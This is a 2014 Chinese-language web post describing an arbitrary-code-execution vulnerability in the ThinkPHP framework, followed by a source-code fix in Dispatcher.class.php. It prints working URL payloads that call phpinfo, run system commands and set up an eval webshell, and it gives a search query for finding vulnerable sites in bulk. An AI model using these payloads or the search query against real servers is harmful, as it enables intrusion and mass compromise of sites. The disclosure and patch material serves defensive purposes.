ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
如何删除多级目录
Oct 09 PHP
PHP学习之正则表达式
Apr 17 PHP
PHP判断搜索引擎蜘蛛并自动记忆到文件的代码
Feb 04 PHP
php连接与操作PostgreSQL数据库的方法
Dec 25 PHP
php+redis实现多台服务器内网存储session并读取示例
Jan 12 PHP
php获取访问者浏览页面的浏览器类型
Jan 23 PHP
php使用PDO获取结果集的方法
Feb 16 PHP
php lcg_value与mt_rand生成0~1随机小数的效果对比分析
Apr 05 PHP
PHP简单读取xml文件的方法示例
Apr 20 PHP
基于thinkphp6.0的success、error实现方法
Nov 05 PHP
PHP Pipeline 实现中间件的示例代码
Apr 26 PHP
PhpStorm2020.1 安装 debug - Postman 调用的详细教程
Aug 17 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
php 文件上传代码(限制jpg文件)
2010/01/05 PHP
二进制交叉权限微型php类分享
2014/02/07 PHP
php+mysqli批量查询多张表数据的方法
2015/01/29 PHP
在WordPress中实现评论头像的自定义默认和延迟加载
2015/11/24 PHP
详谈php中 strtr 和 str_replace 的效率问题
2017/05/14 PHP
使用JS操作页面表格,元素的一些技巧
2007/02/02 Javascript
几个有趣的Javascript Hack
2010/07/24 Javascript
JS画线(实例代码)
2013/11/20 Javascript
Node.js中对通用模块的封装方法
2014/06/06 Javascript
js中实现多态采用和继承类似的方法
2014/08/22 Javascript
JavaScript中的call方法和apply方法使用对比
2015/08/12 Javascript
js如何准确获取当前页面url网址信息
2020/09/13 Javascript
jqGrid翻页时数据选中丢失问题的解决办法
2017/02/13 Javascript
ES6新特性二:Iterator(遍历器)和for-of循环详解
2017/04/20 Javascript
深究AngularJS中ng-drag、ng-drop的用法
2017/06/12 Javascript
微信小程序使用wxParse解析html的实现示例
2018/08/30 Javascript
JavaScript中关于base64的一些事
2019/05/06 Javascript
如何基于原生javaScript生成带图片的二维码
2019/11/21 Javascript
vue 实现根据data中的属性值来设置不同的样式
2020/08/04 Javascript
Python正则表达式匹配数字和小数的方法
2019/07/03 Python
Django 实现admin后台显示图片缩略图的例子
2019/07/28 Python
Python urllib request模块发送请求实现过程解析
2020/12/10 Python
CSS中垂直居中的简单实现方法
2015/07/06 HTML / CSS
基于CSS3实现立方体自转效果
2016/03/01 HTML / CSS
Waterford英国官方网站:世界上最受欢迎的优质水晶品牌
2019/08/17 全球购物
戛纳奢侈品商店:Jacques Loup法国
2019/11/04 全球购物
英国户外服装、鞋类和设备的领先零售商:Millets
2020/10/12 全球购物
自主实习接收函
2014/01/13 职场文书
2014年寒假社会实践活动心得体会
2014/04/07 职场文书
单位作风建设剖析材料
2014/10/11 职场文书
写给医生的感谢信
2015/01/22 职场文书
三方合作意向书范本
2015/05/09 职场文书
宾馆安全管理制度
2015/08/06 职场文书
幼师必备:幼儿园期末教师评语50条
2019/11/01 职场文书
Java生成读取条形码和二维码的简单示例
2021/07/09 Java/Android
vue-cli3.x配置全局的scss的时候报错问题及解决
2022/04/30 Vue.js